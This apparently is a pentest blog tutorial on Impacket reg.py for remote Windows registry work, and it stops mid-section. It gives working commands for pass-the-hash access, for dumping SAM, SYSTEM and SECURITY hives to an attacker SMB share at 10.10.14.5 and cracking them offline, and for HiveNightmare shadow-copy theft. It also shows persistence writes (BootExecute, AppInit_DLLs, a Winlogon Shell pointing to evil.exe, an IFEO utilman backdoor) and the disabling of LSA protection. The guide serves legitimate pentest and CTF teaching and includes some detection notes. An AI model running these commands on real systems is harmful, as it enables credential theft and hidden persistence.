tools

reg.py: All Registry Keys for Pentesting and Active Directory

reg.py: All Registry Keys for Pentesting and Active Directory

Impacket reg.py: Query, add, delete, save, and backup the remote Windows registry via SMB/MS-RRP. SAM, LSA, WDigest, RDP, and WinRM keys for pentesting and hardening.

  • Posted on 2026-07-04
  • Reading time: 25 min

reg.py Impacket: The Complete Guide to Remote Registry for Pentesting 2026 #

The Windows registry isn't just configuration: it's a treasure trove of credentials, backdoors, and persistence information. reg.py , a script from the Impacket suite , allows you to read and write a Windows machine's registry remotely, without the need for RDP or an interactive shell—by leveraging the MS-RRP (Remote Registry Protocol) interface over SMB.

This guide is organized into logical blocks: first the tool and registry basics, then credentials, then persistence, then privilege escalation, then forensics/DFIR, and finally detection, hardening, and the final cheat sheet.


1. The registry hives: HKLM, HKCU, HKU, HKCR, HKCC #

Before using any registry tool, you need to understand what top-level hives are. They're different logical roots, each with a specific purpose, and understanding the difference depends on where you look for credentials or weak configurations.

HiveFull nameWhat it containsPentest relevance
hklmHKEY_LOCAL_MACHINEMachine-level configuration: hardware, drivers, services, global policies, SAM/SECURITY/SYSTEMMaximum — this is where the credential hives and global security settings live
HkcuHKEY_CURRENT_USERConfiguring the user currently logged in to the session in which the command is runHigh — User autorun, recent RDP history, credentials saved in applications
HKUHKEY_USERSContains the profiles of ALL users who have logged in to the machine, each as a subkey with its own SIDAlta in post-exploitation — you can read other users' HKCU even if they are not logged in now, by iterating on HKU\
HKCRHKEY_CLASSES_ROOTFile Associations, ProgID, COM/OLE information — it's actually a unified view of HKLM\Software\Classes e HKCU\Software\ClassesMedia — relevant for COM hijacking and DLL hijacking via associations
HKCCHKEY_CURRENT_CONFIGCurrent hardware profile, pointer to a subkey HKLM\SYSTEM\CurrentControlSet\Hardware ProfilesLow — almost never offensively relevant

Key point to keep in mind: HKCU is just a mirror of the HKU subkey for the current user's SID.. When you connect remotely with reg.py using a user's credentials, you are seeing the HKCU of that user, not necessarily the one logged in interactively on the console. If you want to read the profile of another user other than the one you are authenticated with, you must go through HKU\<SID-utente> instead of for HKCU.

bash
# Elenca i SID caricati (= utenti con profilo attivo) sotto HKU
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKU -s

This is crucial in post-exploitation: if you have compromised a machine where multiple users are logged in, HKU gives you access to all their HKCUs without having to impersonate any of them.

Practical example: once you have the SID of another user (from query -keyName HKU -s, or from a lookupsid/whoami /user done in another step), you query that profile directly — even via IPv6 and pass-the-hash, as is typical for a HTB machine:

bash
reg.py htb.local/henry.vinson@dead:beef::b885:d62a:d679:573f -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1105' -s

The SID S-1-5-21-...-1105 It is a custom RID (>1000), so a real domain user, not a built-in service account. With -s recursive on that key gets that user's entire HKCU in one go — Run keys, PuTTY sessions, RunMRU, RDP Servers, everything seen in the sections above, but referring to him.

Workflow combo: lookupsid.py + reg.py -s — the pattern to always use #

This is the most useful practical flow of all when you have domain credentials but don't yet know who else exists on the machine or which profiles are of interest.

1. Enumerate all domain users/RIDs with lookupsid.py (Impacket):

bash
lookupsid.py htb.local/henry.vinson:password@10.10.10.5

Typical output:

text
[*] Domain SID is: S-1-5-21-2993095098-2100462451-206186470
498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HTB\Administrator (SidTypeUser)
1105: HTB\henry.vinson (SidTypeUser)
1106: HTB\altro.utente (SidTypeUser)

It gives you the full SID of every user in the domain, without having to guess anything.

2. Get the entire SID (domain + RID) and directly query HKU with -s:

bash
reg.py htb.local/henry.vinson@10.10.10.5 -hashes :HASH query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1106' -s

The key point: you don't have to know in advance where something interesting is found inside that user's profile. -s It recursively downloads everything — Run keys, application credentials, PuTTY, RDP servers, everything — and you read the output looking for known patterns (password, pwd(custom app names). This is why this combo is the first step to take as soon as you have a list of SIDs: first you enumerate who exists, then you pull down everything they have in HKU without having to worry about guessing the right key.

Note: HKU only shows profiles uploaded (users who have logged in at least once and whose hive is still mounted). If a user exists in the domain but has never logged in to that specific machine, his SID does not appear under HKU — for that case you need reg load on his NTUSER.DAT offline, detailed view below.

Read HKCU of a NOT logged in user — reg load #

HKU gives you access to profiles only currently loaded (users logged in now). If another user exists on the machine but is not logged in, their profile does not appear under HKU — but the file NTUSER.DAT It still exists on disk. With sufficient privileges (local admin, or SeRestorePrivilege) you can mount it yourself in a temporary key and read it as if it were online.

cmd
reg load HKU\temp_utente C:\Users\vittima\NTUSER.DAT

Since that time HKU\temp_utente It's navigable exactly like a regular HKCU — same Run keys, same PuTTY sessions, same RunMRU, same RDP Servers as above, but for a user who has never logged in while you were logged in.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKU\temp_utente\Software\Microsoft\Windows\CurrentVersion\Run" -s

When you're done, always unload the hive : if it remains mounted, the next time that user logs in, Windows won't find the free profile and will assign a temporary profile (the user will notice this immediately, and this is a mistake to avoid in a pentest).

cmd
reg unload HKU\temp_utente

Se reg unload If it fails with "access denied," it's usually because a process still has an open handle to the hive (e.g., Explorer or PowerShell with that key as its working directory). Close any sessions that are referencing it and try again.

The same technique works to read the Default profile (the template used for every new user created on the machine — useful for understanding which settings/autoruns are inherited by future accounts):

cmd
reg load HKU\default_profile C:\Users\Default\NTUSER.DAT

Where the hives physically live on the disk #

Hives don't just exist in memory: they're backed up to disk as files. Knowing this is useful for offline extraction (e.g., from a forensic image or backup).

text
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SOFTWARE
C:\Users\<utente>\NTUSER.DAT          <- corrisponde a HKCU di quell'utente
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat  <- HKCU\Software\Classes, contiene le ShellBags

2. How reg.py works #

reg.py connects to the target via SMB (port 445) and talks to the service Remote Registry via the RPC interface [MS-RRP] — the same protocol he uses reg.exe on Windows, but remotely controlled with valid credentials (password, NTLM hash, or Kerberos ticket).

If the Remote Registry service is disabled, Impacket automatically starts it for the operation and restores it to its original state upon completion. This behavior is important to understand for both offense (it's quiet, but still generates events) and defense (the service should never appear "recently started" for no reason).

Requirements to use it #

  • SMB access to target port 445
  • Valid credentials: local administrator user, privileged domain user, or NTLM hash for pass-the-hash
  • To read hives protected as SAM/SECURITY: privilege SeBackupPrivilege or group membership Backup Operators, in addition to local administrator permissions

Basic syntax and authentication #

bash
reg.py [dominio/]utente[:password]@target <azione> [opzioni]

Password authentication:

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE

NTLM hash authentication (pass-the-hash), useful when you don't have the cleartext password but only the hash extracted, for example with secretsdump :

bash
reg.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c CORP/admin@10.10.10.5 query -keyName HKLM\\SYSTEM

Kerberos authentication (pass-the-ticket), when working with a ticket already obtained (e.g. from Rubeus ):

bash
reg.py -k -no-pass CORP/admin@dc01.corp.local query -keyName HKLM\\SAM

3. The 5 actions of reg.py #

reg.py exposes five subcommands. Each corresponds to a different phase of a penetration test or CTF: first read (query), then optionally write to demonstrate impact (add), clean (delete), or extract data for offline analysis (save/backup).

query — read keys and values #

query Lists the subkeys and values ​​of a specific key. This is the action you use 90% of the time: enumeration, recon, credential lookup.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -s

The flag -s (subkeys) makes the query recursive — very useful for enumerating entire hierarchies in one go, like all the autorun keys under CurrentVersion, instead of questioning them one by one.

In a CTF/pentest you can use queries to:

TargetCommand
Read a single precise valuequery -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -v DefaultPassword
Enumerate an entire branch (autorun, services, user profiles)query -keyName "HKLM\SYSTEM\CurrentControlSet\Services" -s
Check if a mitigation is active before planning an attack (e.g. RunAsPPL before an LSASS dump)query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"
Read the profile of another user logged in via their SIDquery -keyName "HKU\<SID>" -s

Se query returns ERROR_FILE_NOT_FOUND, it's almost always a path problem (wrong hive, doubled backslash from the shell, or WOW64 redirection — see section 4), not a true permissions error.

add — write or modify a value #

add creates a new value or overwrites an existing one. The type must always be specified with -vt (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ) and the data with -vd.

In a CTF/pentest you can use add to:

TargetCommand
Place persistence at user login (Run key)add -keyName "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v Updater -vt REG_SZ -vd "C:\Users\vittima\update.exe"
Disable a protection to demonstrate its impact (e.g., RestrictedAdmin for pass-the-hash via RDP)add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
Enable token filtering bypass for lateral movement with local adminsadd -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -v LocalAccountTokenFilterPolicy -vt REG_DWORD -vd 1
Hijack an accessibility binary to get SYSTEM from the login screen (IFEO)add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe"
Hijack theImagePath of a service with weak ACLs (privesc — section 8.3)add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe"

Each add Made during a test, it is a real modification to the system: it must always be documented and restored at the end of the activity (see final checklist).

delete — remove keys or values #

delete Removes a value or an entire subkey. It is useful for both offense (clearing tracks) and defense (cleaning a compromised host).

In a CTF/pentest you can use delete to:

TargetCommand
Restore a modified key with add at the end of the test (anti-forensics/hygiene)delete -keyName "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v Updater
Temporarily disable a protection to verify that it is actually blocking an attack (A/B testing)delete -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v RunAsPPL
Cleanse a host from a malicious persistence found during an IR (blue team perspective)delete -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v EvilPersistence
Remove an entire subkey created for a test (e.g. an IFEO entry)delete -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe"

delete without -v deletes the entire specified key and everything it contains — be careful not to be too general about the path.

save — export a single hive/key to a file #

save writes to the target disk a copy of a key (typically an entire hive) in the format .save, which can then be recovered via an SMB share that you open from the attacking machine.

In a CTF/pentest you can use save to:

TargetCommand
Extract SAM for offline cracking of local hashessave -keyName 'HKLM\SAM' -o '\\10.10.14.5\share\SAM.save'
Extract SECURITY for LSA Secrets and DCC2save -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save'
Extract SYSTEM (always used together with SAM/SECURITY to decrypt them)save -keyName 'HKLM\SYSTEM' -o '\\10.10.14.5\share\SYSTEM.save'
Export a specific user's hive for offline analysissave -keyName 'HKU\<SID>' -o '\\10.10.14.5\share\NTUSER.save'

Before launching save To a remote share you must have an active SMB listener on the attacker side — typically smbserver.py by Impacket (smbserver.py share /tmp/loot -smb2support).

Backup — Quick dump of SAM, SYSTEM, and SECURITY #

backup It's a special command, a shortcut for the most common use case: extracting in a single call the three hives needed for a complete dump of local credentials and LSA secrets.

bash
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

It's equivalent to throwing three save separate connections (SAM, SYSTEM, SECURITY), but with a single command and a single authentication round — less noise than three separate connections. After the backup, the next step is always secretsdump.py in mode LOCAL on downloaded files (see section 6.4).


4. WOW64 — the registry redirection that confuses everyone #

On 64-bit Windows, a 32-bit process doesn't see the same registry as a 64-bit process. This behavior is called Registry Redirector , and it's the number one cause of "nothing found" queries during pentests—a common mistake even among experienced pentesters.

How redirection works #

When a 32-bit process tries to read/write under HKLM\SOFTWARE, Windows silently intercepts it and redirects it to:

text
HKLM\SOFTWARE\Wow6432Node

The 32-bit process doesn't notice: it thinks it's reading HKLM\SOFTWARE normal, but physically the data lives in the subkey Wow6432NodeA 64-bit process instead sees the real HKLM\SOFTWARE, without redirection.

Why it matters in a pentest #

If you're enumerating a machine and using a 32-bit tool (a 32-bit compiled Python script, a legacy binary), and you look for a software key you know is present, you might not find it—simply because you're looking in the wrong view. Conversely, if malware or a payload runs in 32-bit on a 64-bit host, its persistence via Run key falls under Wow6432Node, not in the “normal” path: a detail to always check when enumerating autorun keys.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"

Shared keys (not redirected) #

Not everything is redirected. Some keys are shared: there is only one physical copy, seen identically by both architectures. HKLM\SYSTEM (where SAM, services, security configurations live) is among them — which is why reg.py, which talks directly to the MS-RRP protocol, does not have the redirection problem when working on those keys.

Explicit access to a specific view #

From PowerShell or code, you can force the desired view with flags KEY_WOW64_64KEY e KEY_WOW64_32KEY, ignoring automatic redirection. From the command line, reg.exe native supports the same concept:

cmd
:: Forza la lettura della vista a 64 bit anche da un reg.exe a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:64

:: Forza la vista a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:32

Registry Reflection (legacy systems only) #

Windows XP/Vista/Server 2003/2008 also featured Registry Reflection : a mechanism that automatically synchronized a subset of keys between 32-bit and 64-bit Vista, for compatibility between COM components. It was removed from Windows 7 onwards —if you're working on a modern system, you won't encounter it, but it's good to know it existed if you happen to read older documentation or writeups.


5. General system enumeration via register #

In addition to security keys, the registry reveals the entire identity of the target machine. These queries are useful during recon, even before considering privesc or credential dumps:

bash
# Versione OS e build
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

# Nome macchina
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName"

# Fuso orario (utile per correlare timestamp nei log)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"

# Interfacce di rete configurate
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" -s

# Reti a cui la macchina si è connessa (utile per capire il contesto: VPN aziendale, wifi pubbliche, ecc.)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList" -s

# Dispositivi USB storici collegati (utile in forensics e in verifica data-exfil)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" -s

6. Credentials in the registry #

This is the most critical section for a pentest: all credential sources—direct or encrypted—that live in the registry. Three blocks: live credentials in memory/config (6.1-6.3), offline credentials in hives (6.4-6.6), and third-party application credentials (6.7).

Live Credentials — System Configuration and Memory #

6.1 Clear Autologon (Winlogon) #

text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Se AutoAdminLogon is set to 1, the password is often found in DefaultPassword In plain text. The complete set of values ​​to check:

ValueMeaning
AutoAdminLogon1 = active autologous, 0 = inactive
DefaultUserNameUser used for automatic login
DefaultPasswordPassword in clear, if autologon is configured in the classic way
DefaultDomainNameDefault user domain (empty if local account)
AltDefaultDomainNameAlternate domain, used in some multi-domain/legacy scenarios
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

6.2 WDigest — Cleartext Credentials in Memory #

text
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

Se UseLogonCredential is in 1Windows keeps cleartext passwords in LSASS memory, making them extractable with Mimikatz after compromise. Verifying this remotely with reg.py tells you, before you even have a shell, whether this target is a high-value target for cleartext credential dumps.

6.3 LSA Protection (RunAsPPL) and Credential Guard #

Before scheduling an LSASS dump, it is a good idea to know whether the target is protected.

text
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL

If this value is 1 (o 2 on Windows 11 22H2+ without UEFI lock), lsass.exe turns like Protected Process Light (PPL): no unprotected process — not even an administrator with SeDebugPrivilege —can open its memory to read credentials. This is probably the single most effective measure against Mimikatz. sekurlsa::logonpasswords.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"

If the value is missing or 0, the target is vulnerable to classic LSASS dump.

An even higher level is Credential Guard , which is based on virtualization:

text
HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags

When active, Credential Guard isolates NTLM/Kerberos-derived secrets in a virtualization-based container (VBS), separate from the Windows kernel — a process LsaIso.exe manages access, and not even a kernel exploit can directly reach the credentials. LsaCfgFlags a 1 o 2 indicates Credential Guard is enabled.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags"

If enabled, direct dumping of user hashes from LSASS is effectively blocked — always check this value before going all-in on Mimikatz.

Offline Credentials — Hive Dump #

6.4 LSA Secrets — What HKLM\SECURITY Really Contains #

HKLM\SECURITY It's not a single credential: it's a container of multiple secrets, each encrypted with the key derived from the SYSTEM boot key. The internal path where they reside is:

text
HKLM\SECURITY\Policy\Secrets
Secret nameWhat it contains
_SC_<NomeServizio>Cleartext password of the account under which a Windows service runs (e.g., domain account used by SQL Server, Exchange, backup agent)
DPAPI_SYSTEMMaster key to decrypt DPAPI-protected data at machine level
DefaultPasswordClear text autologon password (duplicate of what we've already seen in Winlogon)
NL$KMKey used to encrypt Cached Domain Credentials (see below)
$MACHINE.ACCMachine account password, which can be used to authenticate as a computer account in the domain
L$_SC_*Local variants of service secrets

Query and dump:

bash
reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save'
bash
secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL

Typical output:

text
[*] Dumping LSA Secrets
_SC_MSSQLSERVER:CORP\svc_sql:P@ssw0rd2024!
DPAPI_SYSTEM:01000000...
NL$KM:0a1b2c3d...

The value _SC_MSSQLSERVER Cleartext is typically the biggest hit in a pentest: a service account with a cleartext password, often with elevated privileges in the domain because service accounts rarely rotate their passwords.

6.5 HiveNightmare/SeriousSAM (CVE-2021-36934) — SAM dump without admin privileges #

On Windows 10/11 with a misconfigured ACL, the hives SAM, SYSTEM e SECURITY they are also readable by a user non-administrator, via Volume Shadow Copies. No reg.py, no network access: it runs as a low-privilege local shell.

1. Check if the target is vulnerable:

cmd
icacls C:\Windows\System32\config\SAM

If it appears BUILTIN\Users:(I)(RX) (o Everyone), the hive is readable by any authenticated user — this is the vulnerability indicator.

2. Create a Volume Shadow Copy (requires only the permission to create shadow copies, not full admin):

powershell
vssadmin create shadow /for=C:

Take note of the returned name, such as \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.

3. Copy the hives from the shadow copy:

cmd
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY.hive

4. Exfiltrate the files to your machine (share SMB, HTTP, or direct exec if you already have a channel) and crack offline:

bash
secretsdump.py -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL

Automatic tool (LOLBin-first, then external tools): Pure PowerShell with vssadmin/copy As above, it is sufficient and native. If you need to automate, HiveNightmare.exe/ShadowCopy.ps1 they do the same steps in one fell swoop, but they don't add anything that they aren't already doing vssadmin.

Detection: monitor events vssadmin create shadow not related to legitimate backups (Sysmon Event ID 1, command line matching); read access to \HarddiskVolumeShadowCopy*\Windows\System32\config\SAM From a non-system process, it's a strong IOC. Patch: July 2021 KB fixes the default ACL.

6.6 Cached Domain Credentials (DCC/DCC2) #

When a company laptop disconnects from the network, Windows still needs to allow login with the domain account. To do this, it stores a hashed version of the credentials locally: these are Domain Cached Credentials , known as mscash (v1) or mscash2/DCC2 (Vista onwards).

text
HKLM\SECURITY\Cache

with voices NL$1, NL$2, ... NL$10 by default — one for each recently logged in domain user. The key NL$KM (seen above) is used to decipher them.

Key point: DCC2 is not an NTLM hash . You can't use it for pass-the-hash purposes—it's only for offline verification of a password entered at login; the only way to exploit it is to crack it.

bash
secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL
text
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/jsmith:$DCC2$10240#jsmith#e4e4e18ac7d15990f64ebe1be1989d9f

Cracking (mode 2100 = DCC2/MS-Cache2):

bash
hashcat -m 2100 dcc2_hashes.txt rockyou.txt

The number 10240 This is the iteration count of the internal PBKDF2—it makes cracking slower than pure NTLM. The maximum number of cached credentials is controlled by:

text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount

Application credentials — third-party software #

6.7 Additional application credentials #

Besides SAM/SYSTEM/SECURITY, other minor but real sources:

keymgr.dll (Credential Manager stub) — network credentials saved by Credential Manager are encrypted with DPAPI, not readable in clear text via reg queryThey should be extracted with Mimikatz dpapi::cred after obtaining the user's master key.

PuTTY — saved sessions:

text
HKCU\Software\SimonTatham\PuTTY\Sessions

Saved hostnames and, in poor configurations, references to private keys or proxies.

VNC — password in registry:

text
HKLM\SOFTWARE\RealVNC\WinVNC4
HKCU\Software\ORL\WinVNC3\Default

Many legacy VNC servers save the weakly obfuscated (often reversible) password directly here.


7. Persistence via registry #

7.1 Run, RunOnce and services #

text
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SYSTEM\CurrentControlSet\Services\<nomeservizio>

Run keys are the first place an attacker (or malware) places autorun.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -s

La chiave Services shows each installed service, its ImagePath (potentially hijackable with unquoted service path) and the account it runs under.

7.2 StartupApproved — the actual state of autorun entries #

text
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder

A value in Run without a corresponding approval here may indicate an entry manually disabled by the user via Task Manager — useful for understanding whether an entry found in Run is actually active. The bytes 02/03 at the beginning of the binary value they indicate enabled/disabled.

7.3 Advanced Autoruns — Beyond Run and RunOnce #

Windows has several other Autostart Extension Points (ASEPs), less known but equally used:

KeyWhat does he do
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecutePrograms run by smss.exe even before the desktop — default autocheck autochk *Any additional value runs at every boot with very high privileges.
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs + LoadAppInit_DLLsDLLs loaded in every process that uses user32.dll. Deprecated and disabled by default in Vista and later, but should be tested on legacy hosts
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDllsSimilar to AppInit but hooked into the API CreateProcess — affects every process created on the system
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserinitUsually userinit.exe — a second comma-separated value is also sent at each logon
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ShellUsually explorer.exe —replace it replaces the entire user shell
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Policies\Explorer\RunRun item “via Group Policy”, often ignored by superficial controls
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute"

Persistence at boot (very high privileges, before desktop):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" -v BootExecute -vt REG_MULTI_SZ -vd "autocheck autochk *\0C:\Windows\Temp\evil.exe"

You must preserve autocheck autochk * as the first item (it's the native boot disk control) and add your binary as the next entry in the same REG_MULTI_SZ, separated by a null character — otherwise break the disk boot.

AppInit_DLLs (DLL injection into every process with user32.dll):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v AppInit_DLLs -vt REG_SZ -vd "C:\Windows\Temp\evil.dll"
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LoadAppInit_DLLs -vt REG_DWORD -vd 1

Without LoadAppInit_DLLs a 1, the DLL is not loaded even if AppInit_DLLs is populated — only works if Secure Boot is disabled (deprecated in Windows 8 and later with Secure Boot enabled).

Winlogon Shell (replaces the entire user shell):

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -v Shell -vt REG_SZ -vd "explorer.exe,C:\Windows\Temp\evil.exe"

The comma-separated value after explorer.exe runs with the shell at every user logon — long-range persistence if written to HKLM.

7.4 Active Setup — Persistence tied to user profile #

text
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\<GUID>

Mechanism designed to execute code first login of a new user (typical in environments with roaming/Terminal Server profiles). The value StubPath contains the command. If you raise the version number recorded here from what is tracked below HKCU\...\Active Setup\Installed Components, the command restarts for each user at the next login, even for existing users.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" -s

7.5 IFEO — Image File Execution Options #

MITRE ATT&CK: T1546.012. IFEO allows you to attach a debugger to a specific executable: whenever that executable is started, the debugger is launched with it. This is a legitimate mechanism, but one of the most abused for persistence because it doesn't affect the original file.

text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<nomeprocesso.exe>

Technique 1 — Debugger hijack:

cmd
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\Windows\System32\calc.exe"

In the laboratory, every opening of notepad.exe would throw calc.exe in its place — in a real-world scenario an attacker would replace an accessibility utility callable from the login screen (utilman.exe, sethc.exe), resulting in SYSTEM execution before login (“sticky keys backdoor”).

bash
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe"

Technique 2 — SilentProcessExit: Monitors the “silent” termination of a process and launches a response binary.

text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<processo.exe>\GlobalFlag
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<processo.exe>
cmd
:: 1. Abilita il monitoraggio (GlobalFlag = 0x200)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

:: 2. Configura cosa succede alla chiusura
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\calc.exe"

Payload starts with parent process WerFault.exe, less suspicious on a superficial analysis of the process tree.

IFEO Detection: monitor writings on Image File Execution Options\*\Debugger e SilentProcessExit\*\MonitorProcess via Sysmon Event ID 13; any Debugger pointing to cmd.exe/powershell.exe it is suspicious; periodically check the IFEO keys on utilman.exe, sethc.exe, osk.exe, Magnify.exe.

7.6 MountedDevices — map of all volumes seen by the machine #

text
HKLM\SYSTEM\MountedDevices

Unlike MountPoints2 (per-user, forensics view), this key is machine-level and maps every drive letter and volume GUID ever mounted — including encrypted disks, USB sticks, network volumes.


8. Registry ACL and privilege escalation #

8.1 How registry permissions work #

Each registry key has a Security Descriptor —the structure that defines the object's owner and permissions. It contains two distinct lists:

  • DACL (Discretionary Access Control List): defines who can access the object and how — the actual permissions
  • SACL (System Access Control List): Defines what is logged/audited — this is for security logging, not access

The DACL is made up of rules called ACEs (Access Control Entries): "This SID is granted/denied this access." Windows evaluates the ACEs in order, and explicit denials are processed before grants.

Critical point: An empty DACL denies all access , but a key with no DACL (NULL DACL) grants full access to everyone — a dangerous configuration, often the result of error.

8.2 Read and write permissions #

With PowerShell (LOLBins-first, no external tools):

powershell
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" | Format-List
text
Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NomeServizio
Owner  : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  FullControl   <- questa è la ACE pericolosa

If you see Authenticated Users o Everyone with FullControl/Write on a service key running as SYSTEM, you found an escalation.

Set-Acl to modify (in lab, to demonstrate the impact):

powershell
